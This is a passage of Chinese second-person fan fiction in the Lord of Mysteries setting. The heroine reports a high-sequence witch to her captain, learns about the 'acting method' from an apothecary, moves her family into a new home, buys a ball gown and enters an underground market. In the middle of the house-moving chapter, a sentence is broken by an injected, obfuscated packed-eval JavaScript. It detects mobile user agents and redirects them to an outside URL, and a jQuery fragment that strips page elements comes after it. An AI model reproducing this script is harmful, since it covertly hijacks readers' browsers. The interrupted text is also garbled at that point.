你开口,声音尽量保持平稳,“我考虑了一下,还是觉得北区贝西克特街29号那套更合我意。虽然阳台小了点,但采光和位置确实更好,通勤也方便。不过,这个价格方面……” 你故意停顿了一下,显示出精打细算的模样:“我希望的租金是每周12苏勒,家具使用费3便士。您看这个价格可以吗?” 斯卡特先生立刻进入了中介熟悉的讨价还价节奏,开始列举那套房的种种优点,试图维持原价或仅做微小让步。“亲爱的女士,12苏勒实在太低了,这套房子很抢手,而且您看这采光、这地段……” 若是平时,你或许会饶有兴致地跟他多周旋几个回合,为省下几个便士而努力。但此刻,你只想尽快结束这场对话,离开这里,将那个惊人的发现报告给队长——在不久前的一瞥里,你已经通过“虚视”得知,那个名为雪伦夫人的女子,竟然是序列6的“欢愉魔女”!这等危险人物潜藏在廷根市,如同一颗定时炸弹。 于是,在斯卡特先生列举完一番后,你适当地表现出一点让步的意愿,但又显得不太情愿:“好吧好吧,我知道房子不错……那每周12苏勒8便士,家具使用费5便士,这是我能接受的最高价了。押金干脆凑个整,2磅。如果行,我们明天就签合同付款。” 你的语气带着一丝想要尽快敲定的急切,这反而让斯卡特先生觉得你可能是真的看中了房子,不想再折腾。他装模作样地犹豫了一下,最终伸出手:“唉,佩洛蒙西娅小姐,您可真会砍价。好吧,就当交个朋友,希望您住得满意!就按您说的这个价格!” 你心里松了一口气,也露出了真诚的笑容,握住他的手:“谢谢,斯卡特先生。我希望越快越好,如果方便的话,明天上午我就带上押金和第一个月的租金过来签合同,可以吗?” “当然可以!期待与您的合作。” 乘坐出租马车离开东区,你不再是悠闲的看房客,而是归心似箭的值夜者。 午后的阳光依旧明媚,但你看待周围行人的目光却悄然发生了变化。这个看似普通、体面的东区边缘,竟然隐藏着一个中序列强者! “序列6的欢愉魔女雪伦夫人……必须立刻报告队长!” 56. 第55章 有魔女啊! 你花费几便士,跳上了一辆路过的公共马车,尽快赶到了佐兰特街,然后一路小跑跑回了黑荆棘安保公司。 谢天谢地你加入值夜者之后一直有注意锻炼,一路跑回公司也只是感觉心脏在胸腔里怦怦直跳。脑子里既有发现重大情报的激动,更有直面高序列非凡者的后怕。 你用力推开公司大门,顾不上和前台的罗珊打招呼,就径直冲向邓恩队长的办公室,连门都忘了敲就闯了进去。 “队长!我要举报!” 你气息微喘,声音因急切而略显尖利。 正埋首于一堆文件的队长闻声抬起头,灰色的眸子深处是惯有的沉稳。他没有责怪你的莽撞,只是平静地问:“举报什么?” “我要举报霍伊男爵的遗孀,雪伦夫人,她是序列六的‘欢愉魔女’!” 你语速飞快,斩钉截铁。 邓恩队长的眉头瞬间锁紧,身体也微微前倾,目光变得锐利:“你怎么知道的?” 他的声音依旧平稳,但你能感觉到其中的凝重。 你深吸一口气,努力挺直腰板,试图让自己显得更可信,尽管理由听起来有些玄乎:“是我的灵感告诉我的! 今天下午我去东区看房子,正好遇到她乘坐马车经过。我的灵感……就是那种预警感觉,突然被触动了。然后我,我仔细‘感觉’了一下,就知道了!” 你避开了“虚视”窥探记忆的具体说法,毕竟这能力解释起来更麻烦,而且直接看到对方序列这种情报来源也过于惊世骇俗。用“灵感”这种更模糊、但非凡世界公认存在的方式,反而更容易被接受。 你顿了顿,又补充道:“您可以进行占卜确认!用雪伦·霍伊是否是魔女进行占卜。如果占卜成功,得到确定答案,那她就是魔女;如果占卜失败,什么反应都没有,那也说明她至少是非凡者,有能力干扰或反制占卜!” 你急切地提出验证方法,希望能增加自己说辞的可信度。 邓恩队长静静听完你的举报和论证,没有立刻质疑你“灵感”的可靠性。 他缓缓点了点头,沉声道:“我不是不相信你,温蒂。你的灵感预警在之前的任务中已经证明过价值。” 他伸手捏了捏自己的眉心,这个动作你见过,通常意味着他在思考棘手的问题或感到压力。 “但是,‘欢愉魔女’,序列6……” 他低声重复,灰眸中闪过一丝严肃,“我们需要制定计划,对方身份敏感,是霍伊男爵的遗孀,在廷根市也社交广泛。” 他抬起头,对你吩咐道:“去武器区找老尼尔,让他上来。然后,你把事情从头到尾,再详细地跟我和他说一遍。” “是,队长!” 你用力点头,转身快步离开办公室。走在去地下武器区的楼梯上,你心里忍不住嘀咕:“看来队长也发现了……我和克莱恩,好像特别容易遇到非凡事件和非凡者。从韦尔奇案开始,到安提哥努斯笔记,再到这个雪伦夫人……这频率,简直像是被标记了一样!” 你找到正在武器保养台前忙碌的老尼尔,传达了队长的指令。老尼尔放下手中的工具,表情立刻严肃起来,拿起他那枚随身携带的白水晶灵摆,便跟着你回到了队长办公室。 关上门,在邓恩队长沉静的目光和老尼尔关切又带着探究的注视下,你将自己下午去看房、偶遇雪伦夫人马车、灵性触动、以及通过“深层感知”(你为了含糊过去承认自己又用了“灵感放大法”)确认对方是序列6“欢愉魔女”的过程,尽可能清晰、但省略了“虚视”具体细节地又复述了一遍。 你强调了对方带给你的巨大危险感和灵性层面的压迫感,以及她作为霍伊男爵遗孀、社交名媛的公开身份。 老尼尔听完,花白的眉毛拧在了一起,他看向邓恩队长,队长微微颔首:“用占卜确认一下,尼尔先生。” 老尼尔点点头,他走到办公室相对空旷的一角,左手握住那枚白水晶灵摆的银链,让其自然垂落。他闭上眼睛,深吸一口气,用清晰而稳定的语调开始重复占卜语句: “雪伦·霍伊是魔女……” “雪伦·霍伊是魔女……” “雪伦·霍伊是魔女……” 他重复了三遍,然后屏息凝神,等待着灵摆的反应。 时间一分一秒过去。办公室内一片寂静,只有煤气灯燃烧的轻微嘶嘶声。那枚白水晶灵摆静静地垂在老尼尔指间,纹丝不动。没有顺时针旋转(代表肯定),也没有逆时针旋转(代表否定),只有寻常占卜时因灵性干扰而产生的无规律晃动。 它就那么普通地悬停着,仿佛失去了与灵性世界的所有联系。 老尼尔缓缓睁开眼睛,看着手中静止的灵摆,抬起头,看向邓恩队长和你,声音干涩: “占卜失败……没有任何反应。这通常意味着,占卜对象要么是完全隔绝了自身信息的极高序列存在,要么就是拥有强大的反占卜能力或物品。” 他顿了顿,补充道,“结合温蒂的情报……基本可以肯定,这位雪伦夫人是一名非凡者,并且有能力干扰针对她的占卜。” 占卜的失败,反而成了最有力的证据。 邓恩队长的眼神彻底沉了下来,如同暴风雨来临前铅灰色的天空。一位序列6的“欢愉魔女”,隐藏在廷根市的社交名流之中……这背后的含义和潜在的危险,让空气都仿佛凝固了。 邓恩队长沉默了片刻,手指无意识地敲击着桌面,不过令你安心的是,他脸上并没有那种如临大敌的紧绷,让你也没有那么害怕了。 “不用着急,” 他缓缓开口,声音恢复了惯有的平稳,“现在,主动权至少有一部分在我们手里了。我们知道她是非凡者,知道她的序列,知道她的公开身份。而她对我们的存在和调查,至少目前看来一无所知。” 他看向你和老尼尔,继续说道:“既然知道了目标,剩下的就是制定对策,耐心等待合适的时机。贸然行动只会打草惊蛇,甚至可能造成不必要的伤亡和混乱。” 老尼尔闻言,也稍微放松了些,甚至还有心情开了个玩笑,他捋了捋胡子,嘿嘿一笑:“以我们值夜者的风格,看来是要夜探雪伦夫人闺房了。听着挺刺激,不过这种事,还是你们年轻人上吧,我这个老家伙可没这个福气喽。” 邓恩队长的话和老尼尔的调侃,像一阵清风,稍稍吹散了你心头的紧张和焦虑,队长的镇静,无疑是最好的定心丸。 你深吸一口气,主动请缨:“队长,那……要不要我先去蹲守观察一 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他特别加重了“但是”两个字,“必须在我,或者其他足够资深、有能力在你出现意外时及时干预的队员看护下进行。绝对不允许你再像上次教克莱恩那样,独自冒险!” “啊?队长您……难道要跟我一起?” 你愣了一下,没想到队长会亲自出马。 “是的。” 邓恩队长微微颔首,“雪伦夫人是廷根市的名流,经常出入各种社交场合。我在警察部门挂职高级督察,下周,梅根议员在他的府邸举办一场小型的私人舞会,按照惯例会邀请警方的一些高层出席以示友好和安全保障。我会收到请柬。” 他的嘴角勾起一丝极淡的、几乎难以察觉的笑意:“到时候,我会带你作为我的助手一同出席,作为高级督察,我带两个助理协助保障舞会安全是完全合理的。当然,如果你觉得紧张,或者需要更专注于使用你的能力,你可以全程和伦纳德待在一起,我会带上他负责策应和保护你,在那种场合他也更有经验。你只需要找个相对安静的角落,用你的能力,远远地、安全地观察雪伦夫人就好了。” 带你参加上流社会的舞会?还是作为队长的女伴?你有点懵,这听起来……好像还有点刺激? 邓恩队长看着你有些发愣的表情,补充道:“既然是参加舞会,你自然需要一身合适的行头。可以去奥利安娜夫人那里,按照出席正式社交场合的标准,申请一套礼服裙子和相应的配饰,走公账报销。” 他顿了顿,语气严肃地强调,“记住,温蒂,这个任务的关键是观察和收集情报,一切以你的安全和身体健康为第一优先级。不要逞强,感觉到任何不适,立刻告诉伦纳德或者我,我们可以立刻离开,不用非得待到舞会结束。明白吗?” “明白!” 你立刻挺直腰板,大声回答,眼中闪烁起混合着紧张、兴奋和使命感的光芒。参加舞会、近距离观察高序列魔女、还有漂亮裙子可以报销……这任务,似乎没那么可怕了,反而充满了挑战和新奇感! “保证完成任务,队长!” 你信心满满地补充道,已经开始在心里盘算该选什么样式的裙子,以及如何在舞会上最大限度地发挥自己的感知能力了。 57. 第56章 扮演法 听完邓恩队长关于雪伦夫人和后续舞会侦查任务的安排,你虽然因为队长的镇静和周密计划而安心不少,但精神依旧紧绷。毕竟,那可是序列6!这可是你目前见过序列最高的一个非凡者! 邓恩队长似乎看出了你眼底深处残留的一丝惊悸,他放缓了语气,带着长辈般的温和说道:“好,今天就先到这里。你也受到了惊吓,需要时间平复。下午没什么要紧事,就先回家休息吧。放松一下,别想太多。” 你点点头,转身准备离开办公室。 “等等。” 邓恩队长的声音再次从身后传来。 你停下脚步,回头望去。 队长看着你,灰眸中带着笑意,说道:“通知你一下,明天,你和克莱恩正式队员的批复应该就能下来了。到时候相关手续和新的证件会一并办理。” 这无疑是个好消息,让你精神一振。但队长接下来的话更让你惊喜。 他顿了顿,继续说道:“另外,关于你后续的晋升……‘怪物’途径的魔药配方在教会内部并没有储备。不过,圣堂那边经过考量,已经特许你可以通过非官方的渠道,也就是与‘生命学派’的成员进行接触,来尝试获取后续的配方。” 你睁大了眼睛,几乎不敢相信自己的耳朵!这意味着你晋升的道路被官方认可并打开了! 邓恩队长补充了细节:“因此产生的、用于购买配方信息的合理钱财花费,可以走公账报销。但是,有个前提——” 他的语气变得严肃,“无论你从生命学派那里获得什么配方或相关知识,都必须同步记录并上报,存入教会的档案系统。这是底线,明白吗?” “明白!绝对明白!” 你立刻保证,心中又是一阵狂喜。不仅能合法接触生命学派获取配方,还能报销!爽爽爽爽! “队长,还有别的事吗?” 你按捺住激动,礼貌地问道,生怕错过任何一点好消息。 邓恩队长被你这么一问,倒是愣了愣,似乎没想到你还会追问。他真的又低头沉吟回想了几秒钟,然后才抬起头,肯定地说:“没有了。就这些,去吧。” 你这才心满意足,再次道谢后,脚步轻快地离开了黑荆棘安保公司。 来到街上,午后的阳光暖洋洋的。你没有直接回家,而是跳上了一辆前往弗拉德街的公共马车。既然队长都说了可以找生命学派的人,那当然是越快行动越好!你迫不及待地想要推进自己的晋升之路。 在罗森的民俗草药店那熟悉又略带神秘感的门脸前停下,你推门而入。风铃叮当作响。店铺里弥漫着草药的气息,罗森依旧在柜台后忙碌,而这位胖乎乎的药师看到你进来,脸上似乎闪过一丝不太情愿的表情。 你直接说明了来意——寻求“怪物”途径序列8的魔药配方。 达克威尔挠了挠头,没有直接回答配方的问题,而是先反问道:“想要晋升是好事,但是,你得先把目前序列9‘怪物’的魔药消化完全才行啊。你都消化了吗?” 你老实回答:“还没有完全消化。” 你一直靠着自己的摸索和本能去扮演、去使用能力,但对于“消化”的进度和标准,其实并没有清晰的概念。 然而,你敏锐地注意到了达克威尔的用词——“消化”。这个词对你来说有着特殊的意义! 你立刻追问:“等等,你刚才说‘消化’?你知道‘扮演法’?” 达克威尔被你突然提高的声调吓了一跳,随即露出一个“原来如此”的表情,带着点小得意,又有点无奈地说:“当然知道啊。‘扮演法’在我们这种隐秘组织里,根本就不是什么秘密好不好?也就你们正神教会,喜欢把这些基础知识藏着掖着,美其名曰‘保持稳定’。” 他的确认让你心中瞬间被巨大的喜悦填满!不仅仅是因为确认了扮演法的存在,更是因为你终于找到了一个可以光明正大地向邓恩队长和值夜者小队解释“扮演法”的渠道了! 之前你一直不敢明确提及,就是苦于没有合理的来源解释。现在,通过官方允许接触的“生命学派”成员之口得知,一切就都顺理成章了!你可以将扮演法的知识作为从生命学派获取的重要情报,名正言顺地分享给队友! 这绝对是意外之喜! 从达克威尔口中确认“扮演法”在隐秘组织间是常识,让你心中一块大石落地,更是涌起一股难以言喻的兴奋。 “谢谢胖达!” 你几乎是脱口而出,脸上绽开一个大大的、毫不掩饰喜悦的笑容,甚至带上了几分亲昵的调侃,“那扮演法的事,我可以告诉别人吧?比如我的队友们?” 达克威尔正沉浸在揭露教会“落后”秘密的小小得意中,闻言下意识地摆摆手,用一种这算什么事的语气随口道:“随便你呗,这又不是什么独家秘方……” 话说到一半,他才猛地反应过来你刚才对他的称呼,胖乎乎的脸颊肉眼可见地鼓了起来,眼睛瞪圆: “等等!你刚才叫我什么?!谁是‘胖达’呢?!” 他挥舞着手臂,试图做出凶狠的表情,但配上他那圆润的身材和天生有点憨厚的五官,更像是一只炸毛的、毫无威慑力的动物,“不要随随便便给人取外号!太失礼了!你作为鲁恩淑女的教养呢!” 你眨了眨眼,一脸无辜地辩解:“这怎么是外号呢?这是昵称!昵称!是我们关系好、亲近的象征!” 你还故意做出了一个搞怪的表情。 不知为何,在面对达克威尔时,你的胆子总是格外大。或许是因为内心深处知晓自己“命运眷者”的身份在某种程度上与生命学派同源,或许是因为他那看似暴躁实则并不真正危险的气场,也或许……仅仅是因为你觉得他是个值得信赖的“好人”。 你甚至得寸进尺地继续逗他:“再说了,罗森不也不是你的真名吗?只是个方便行事的化名而已。那我叫你胖达有什么关系?” 你理直气壮地继续你的歪理邪说,“我觉得胖达比罗森顺口多了,也可爱多了!” 达克威尔被你这一套组合拳打得 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达克威尔也趁此机会平复了一下呼吸,努力摆出严肃的专业态度,尽管脸颊还带着未褪的红晕:“配方我会帮你写信给我的老师,罗伊·金先生,询问‘怪物’途径序列8‘机器’的魔药配方信息。不过,” 他顿了顿,小眼睛瞥了你一眼,“你也得答应帮我留意一下‘药师’途径序列8的魔药线索,或者相关的主材料消息。这叫等价交换,懂吗?” “没问题!包在我身上!” 你拍着胸脯保证,作为值夜者,你相信未来接触神秘侧信息和材料的渠道会比他要广。 达克威尔对你的保证似乎并不是完全相信,他嘀咕道:“哼,你别想着空手套白狼,占我魔药的便宜就可以了……” 你立刻抓住机会,又露出了那种狡黠的笑容:“那就是说,我可以叫你胖达咯?作为我们等价交换的友谊的象征?” “喂!都说不要叫我胖达了!!” 达克威尔瞬间又破防了,刚刚那点严肃氛围荡然无存,他气急败坏地指着门口,“配方有消息我会通知你的!现在,请你,立刻,马上,从我的店里出去!我要研究我的药剂了!” 他几乎是连推带赶地把你往店门口送,脸上的表情又羞又恼,却奇异地没有真正动手的打算。 “知道啦知道啦,胖达药师!记得帮我写信哦!再见!” 你笑嘻嘻地,在达克威尔再次爆发的抗议声中,灵巧地侧身闪出了草药店的门。 店门在你身后被不太温柔地关上,隐约还能听到里面传来一声郁闷的叹息。 站在弗拉德街午后的人行道上,你脸上的笑容久久没有散去。一场紧张的举报之后,能这样轻松愉快地“欺负”一下老实人(?),感觉心情都明亮了许多。而且,晋升的渠道和分享扮演法的机会都已到手,这趟出门,收获简直太大了。 你哼着不成调的小曲,脚步轻快地走向公共马车车站,准备回家好好规划一下,如何将“扮演法”这个从生命学派获取的重要情报,自然而又有说服力地分享给你的队长和队友们。 58. 第57章 转租 怀揣着多重喜悦,你脚步轻快地回到了铁十字街的家中。推开那扇熟悉的、略显斑驳的木门,温暖的灯光和晚饭的香气便扑面而来。 你迫不及待地将两个好消息分享给了正在厨房忙碌的妈妈和在一旁看书的弟弟西里斯:“妈妈,西里斯!我通过试用期了,下周就是正式的员工了!而且,我今天找到了一处特别好的房子,在北区贝西克特街,有三个房间,还有独立的厨房和卫生间!” “真的吗?太好了!” 妈妈闻言,立刻放下手中的锅铲,在围裙上擦了擦手,快步走过来拉住你的手,眼眶瞬间就红了,那是喜悦的泪水。“我的温蒂真有出息!北区的房子……那一定很好!我们明天就去看,合适的话,明天就搬家! 早点搬过去,你也好安心工作。” 弟弟西里斯也从书本里抬起头,亮晶晶的眼睛泄露了他的开心:“太棒了,姐姐!新房子大吗?我能不能有自己的书架?” 你笑着揉了揉西里斯的头发,接着又把另一个任务说了出来:“还有一件事……下周末,因为工作原因,我需要参加一个议员举办的舞会。队长说可以报销置装费。” 出乎意料的是,听到舞会和裙子,妈妈的反应比听到加薪和搬家更加激动。她的眼泪一下子涌了出来,紧紧握住你的手,声音带着哽咽:“舞会,礼裙……我的温蒂终于也能像那些体面人家的小姐一样,穿着漂亮的裙子去参加舞会了……” 她抬起粗糙的手抹了抹眼泪,神情里满是愧疚,“妈妈没用,一直没能给你买一条像样的礼裙……你16岁成人礼的时候,连请小伙伴来家里庆祝都因为没件好裙子而不好意思,妈妈心里一直难受,是我亏欠了你……” 你被妈妈这突如其来的情绪弄得有些无措。对于自己16岁成人礼的细节,你的记忆已经有些模糊,也并不在意这些。你连忙揽住妈妈的肩膀,轻声安慰:“妈妈,别这么说。那时候家里困难,我知道的。而且我现在不是很好吗?我有能力自己赚钱,还能给家里换大房子。” 妈妈破涕为笑,用力点头:“对,对!我的温蒂最能干了!明天上午我们就去看房子,搬完家,妈妈就陪你去买裙子! 一定要好好挑一身,我的女儿穿上一定是最漂亮的!” 她眼中重新燃起了光彩。 深夜,当爸爸拖着疲惫的身子从码头下工回家时,妈妈立刻迎上去,像献宝一样把你的好消息又说了一遍。昏黄的灯光下,爸爸那张被海风和岁月刻下深深皱纹的脸上,也露出了难得的、舒展的笑容。他没有多说什么,只是用力拍了拍你的肩膀,粗糙的大手传来温暖而坚实的力道:“好,好。我的女儿有本事,这么高兴的事,得庆祝!” 然而,在为你高兴之余,爸爸的脸上似乎掠过一丝犹豫。他搓了搓手,看了看兴奋的妈妈和弟弟,又看了看你,有些踌躇地开口:“温蒂啊,有个事,爸爸想跟你商量一下。咱家现在这房子,租期还有半年。我在想,这半年,能不能转租出去?也能补贴点新家的租金。” 你立刻意识到爸爸话里有话。以爸爸的性格,转租这种正常的行为,如果不是有特别的缘由,不会像这样犹豫开口。你放下水杯,认真地看着他:“爸爸,是家里有什么困难吗?还是您有什么想法?直接说吧。” 爸爸叹了口气,在桌边坐下,声音低沉了些:“不是我,是码头上的一个老伙计,伯格。前段时间抬货的时候,货箱滑落,砸着了背,怕是以后都干不了重活了。他家本来就指着他那点工钱,这一下……唉,日子一下子就没法过了。一家五六口人,只好搬到下街更里头、更便宜的地方挤着,那地方……环境太差了,三个孩子,大的那个也才是个将成年的姑娘,小的更是还不知道怎么了,我看着心里不好受。” 你明白了。铁十字街很大,你们家虽然理论上属于铁十字街下街,但相比于更西的区域,已经是靠近主干道、治安和卫生稍好一点的区域,也被居民们自己戏称为“中街”,而爸爸提到的伯格家搬去的地方,才是真正鱼龙混杂、环境恶劣的“下街”。爸爸是想把自家这还算过得去的中街房子,以相对低廉的价格转租给落难的工友一家,帮他们渡过难关。 你心里迅速盘算了一下自己目前的财务状况:刚入职满一周,这一周工资是按文职人员标准发放,2磅10苏勒,加上10苏勒的保密津贴,一共是3磅。再加上今天刚拿到手的维克罗尔委托报酬40磅,等下周正式转正前,你手上总共会有43磅。这是一笔不小的积蓄,足够应付搬家、押金和初期的开销。 想到自己即将大幅提高的收入和手上的存款,对于将现有住房以可能略低于市场价转租可能带来的微小“损失”,你便不那么在意了。能帮到人,还能让房子不空置浪费,是好事。 “没问题,爸爸。” 你几乎没”有犹豫,很快点头答应下来,“您跟伯格叔叔家商量好就行。租金您看着定,别让他们太为难就好。剩下的租期就转给他们吧。” 你知道,爸爸提出这事,心里肯定已经有了成算,只是需要得到你的支持,毕竟你现在是家里收入最高、也即将承担新房租的主力。 爸爸听到你爽快的回答,明显松了口气,脸上的皱纹都仿佛舒展了一些,连连点头:“好,好……温蒂,你是个好孩子。爸爸替伯格一家谢谢你。” 妈妈也在一旁欣慰地看着你,眼中满是温柔。 …… 第二天,周一上午。 天色刚亮不久,你们一家便早早起来,开始收拾为数不多的家当。叫来的出租马车 等在铁十字街略显狭窄的门口,引来邻居们好奇或羡慕的张望。当所有行李——其实主要是衣物、被褥、一些厨具和爸爸的工具、你原本上学时的书本——被搬上车后,你和家人坐进车厢,妈妈紧紧握着你的手,爸爸看着窗外熟悉的街景沉默不语,弟弟西里斯则兴奋地左顾右盼。 先去廷根市改善住房公司找到斯卡特先生,完成了签约手续,支付了押金和第一个月的租金,拿到了那串沉甸甸的、象征着新生活的黄铜钥匙。 当马车最终停在贝西克特街29号那扇明红色的门前时,妈妈第一个跳下车,仰头看着这栋比铁十字街旧居气派得多的房子,眼圈又红了。 你用钥匙打开门,阳光透过两扇大窗户洒进空荡荡但明亮的起居室。妈妈几乎是迫不及待地走了进去,她在空阔的房间中央慢慢转着圈,脚下是光洁的深色木地板,脸上洋溢着如梦似幻的光彩。然后,她轻轻地、哼起了一首你儿时听过的、欢快的民歌小调,歌声在空荡的房间里回响,带着一丝颤抖,却充满了纯粹的快乐。 “温蒂,你看!这扇凸肚窗,挂上天蓝色的窗帘一定很好看,阳光透过来会很柔和……餐厅那边,我们可以找一块红白格子的桌布,就像我在哈罗德百货橱窗里见过的那种……这个壁炉,冬天我们也能像那些体面人家一样,围坐着烤火……” 妈妈的眼睛亮晶晶的,嘴里不停吐出各种关于布置的细节和想法。 你静静地听着,心里某个柔软的地方被深深触动了。 你忽然意识到,妈妈肯定在无数个为生活操劳的日夜间隙里,不止一次地想象过拥有这样一间房子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193722|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情景,并且在脑海中一遍又一遍地、细致地装扮过它。那些关于窗帘颜色、桌布花纹的念头,或许就是支撑她度过艰难岁月的一些期盼。如今,想象终于照进现实。看着母亲脸上那种混合着幸福、满足和一丝不敢置信的神情,你心中充满了沉甸甸的成就感。这一切的改变,有你的一份力。 短暂的兴奋过后,妈妈立刻拉着你和弟弟出发,执行下一项“重要任务”——购置舞会行头。她带你去的,并非北区那些顶级昂贵的裁缝店,而是一家位于中产街区、专门面向市民阶层女士的女性成衣店。 店面整洁明亮,左边陈列着各式鞋子,中间挂满了令人眼花缭乱的礼裙,右边则是帽子、手套、胸针、丝巾等饰品,甚至还有几把装饰作用大于实用的精致阳伞。 当妈妈帮你询问一条看起来并不算特别繁复的夏季礼裙价格时,得到的报价8磅7苏勒,这让你们都暗暗咋舌。虽然以你目前以及即将到来的收入并非支付不起,但那明显超出材质和工艺成本的溢价,还是让你心里直嘀咕“没必要,真没必要”。但想到这是任务所需,且队长说了可以报销,你最终还是压下那点心疼,一边在心里嘀嘀咕咕抱怨着资产阶级的奢侈浪费,一边仔细挑选起来。 你没有选择那些过于华丽、张扬或缀满蕾丝花边的款式,而是挑了一条设计相对保守、剪裁合体,颜色是淡丁香紫色且面料轻便透气的连衣裙,它漂亮得体,适合廷根夏季的社交场合,又不会过于引人注目,正符合你“观察者”的定位,价格也是你能找到的偏低的那一档了——即使如此也要7磅。接着,又搭配了相称的低跟皮鞋(9苏勒5便士)、长袜(3苏勒)、一顶缀有简单缎带的小礼帽(5苏勒6便士)和一副丝质手套(4苏勒)。 即使你知道能报销,但这一套下面的总价依旧让你心虚了——这可是8磅1苏勒11便士!这一套下来比你两个月的房租还贵! 在等待店员包装时,你的目光被柜台里一条样式简洁、没有太多复杂工艺的银质项链吸引。你毫不犹豫地买下了它,作为送给妈妈的礼物。当然,这项链的钱,你会从自己的钱包里出,绝不会走公司的报销。 当你们抱着装有昂贵行头的盒子走出成衣店时,妈妈才长长舒了口气,拍着胸口小声对你说:“那裙子……还有这些配饰的价钱,可真要吓死我了,这里面甚至没有什么银饰,就已经是这样的价格了。温蒂,这种社交场面的服装都可以报销,你那个工作真的是不错,一定要好好报答人家啊。” “没事的,妈妈,特殊情况,而且我很优秀的,不久前队长才夸过我。” 你笑着安慰她。 置办了“战袍”,你们没有直接回家。妈妈又熟门熟路地带着你和弟弟,折返回了铁十字街附近一家她常光顾的廉价成衣店。在这里,她精打细算地为爸爸、弟弟和你各挑选了一套没有那么体面但干净整洁、适合夏季穿着的日常衣物。价格自然与刚才那家店天差地别。 在付钱的时候,你看着妈妈仔细数出硬币,又看看手里提着的新衣服,忽然体会到一种奇妙的、混合着满足感和些许肆意的快乐。那是一种很纯粹的、属于购买和拥有新物品的愉悦,简单而直接。 带着大包小包回到贝西克特街的新家,虽然屋子里依旧略显空荡,但每个人的脸上都带着光。新裙子挂在衣柜里,日常新衣放在床头,妈妈开始琢磨着明天去市场买些什么来填充厨房和布置房间,你带着笑意环视新家,像一个国王巡视自己的领地般巡视家中每一寸,终于有了一种自己迎来了新生活的实感。 59. 第58章 非凡市场 吃完妈妈做的简单午餐,因为轮休而无所事事的你,坐在新家空荡荡但窗明几净的餐厅里,一时有些不知该做什么。 距离愚者先生的聚会还有两个多小时,是抓紧时间休息,养精蓄锐等待下午的聚会,还是趁此机会出去探索一下,为未来做些准备? 你思来想去,感觉精神尚可,灵性也相当充裕,并无困意。最终,探索未知的好奇心占据了上风。你想起之前老尼尔在闲聊时提过一嘴:廷根市存在一个受三大正神教会默许甚至一定程度上管控的地下非凡物品交易市场,地点就在码头区,一个叫做 “恶龙酒吧” 的地方。酒吧的老板似乎是他的老熟人,是一位从风暴教会退休的“代罚者”。 “恶龙酒吧,码头区……” 你低声重复着这个名字和地点,心里涌起一种奇妙的荒诞感。你爸爸就在码头区工作,甚至在劳累一天后,偶尔也会和工友去码头区的酒吧喝一杯,放松一下。他会不会也去过“恶龙酒吧”?如果去过,他喝得醉醺醺时,肯定想不到那厚重的木门之后,除了喧闹的酒客和汗味,还隐藏着一个光怪陆离的非凡世界。 如果不是阴差阳错成了值夜者,你这辈子大概也只会把它当作一个普通的、或许有点混乱的码头酒吧罢了。 想到这里,你心里甚至生出一点恶趣味的感慨:“要是以后退休了,也能有这样一份‘大隐隐于市’的工作,守着个酒吧,暗地里做点非凡相关的小买卖,好像也挺不错?我记得老尼尔说过,管控市场的那位前代罚者好像还可以收所有摊贩的摊位费,这应该也挺赚的。” 说走就走。你换了身便于行动的深色便装,将左轮手枪和值夜者徽章妥善藏好,便出门登上了前往码头区的公共马车。 马车穿行过逐渐变得拥挤、嘈杂,空气中弥漫着河水、货物和汗水混合气味的街道,最终在一处看起来颇为老旧的街区停下。按照老尼尔模糊的描述和一点点灵性指引,你很快找到了那家挂着褪色木牌、画着一条狰狞,但画工粗糙的飞龙的酒吧。 酒吧门口站着两个像铁塔般、感觉有两个你那么壮的彪形大汉,他们抱着胳膊,目光锐利地扫视着进出的人。看到你这个明显不属于码头区常客、衣着也算体面的年轻女性独自走来,其中一个咧开嘴,轻佻地吹了声口哨。 你眉头一皱,毫不客气地瞪了回去,眼神里写满了“再看就把你眼睛挖出来”的无声警告。同时,心里已经飞快地闪过几个诸如“走路绊倒”“喝酒呛到”之类无关痛痒但足够让人难受一下的小小诅咒念头,希望他可以好好地倒霉一下逗你开心。 然而,那大汉被你一瞪,非但没有生气,反而像是确认了什么似的,脸上横肉抖动了一下,竟主动伸出蒲扇般的大手,帮你推开了那扇看起来就沉重无比的橡木大门,还微微侧身,示意你进去。 这突如其来的“礼貌”让你准备默念的诅咒卡在了喉咙里。“啧,算你识相。” 你在心里撇撇嘴,准备好的反击落了空,有点不爽。于是,你故意面无表情,目不斜视地径直走了进去,连句谢谢都懒得施舍,把这种“不礼貌的忽视”当作对他先前无礼吹口哨的最大反击。 一走进“恶龙酒吧”,你差点被扑面而来的、混合着劣质酒精、汗臭、烟草以及某种难以言喻的闷热气息给熏得倒退一步。 男人多的地方好难闻啊!你想起了夏天时候你在学校的日子,班上极其夸张的男女比例也让你忍受着“男人味”的折磨。 适应了昏暗的光线后,你看清酒吧内部比想象中更大,也更混乱。最引人注目的是酒吧中央立着一个简陋的拳击台,台上两个只穿着短裤、浑身汗水和油光、肌肉贲张的壮汉正在激烈地搏斗,拳头砸在□□上的闷响和粗重的喘息声清晰可闻。台下围着好几十号酒客,挥舞着酒杯和拳头,为自己下注的对象声嘶力竭地呐喊助威,夹杂着各种不堪入耳的粗俗俚语和咒骂。 你皱了皱眉,对这种野蛮的娱乐方式没什么兴趣,甚至觉得他们臭臭的。 快速扫视一圈,你不动声色地揉了揉右眼眶,开启了“虚视”,目光在几个看起来气质迥异、或独自饮酒、或低声交谈的人身上飞快掠过。通过窥视他们身上残留的、与这喧闹酒吧格格不入的“痕迹”碎片,你很快确认了通往非凡市场的正确路径。 你不再停留,绕过喧嚣的拳台和狂热的人群,径直走向酒吧后方一条相对安静的通道。 通道尽头是一间桌球室,里面两个男人正俯身瞄准,听到脚步声,他们停下动作,警惕地看向你。你没理会他们审视的目光,根据“虚视”看到的路径,径直穿过桌球室,来到后墙一处看似普通、实则有着细微灵性波动的密门前,跨步走了进去。 通道曲折,连续穿过几个或堆放杂物、或空无一人的小房间后,眼前豁然开朗。 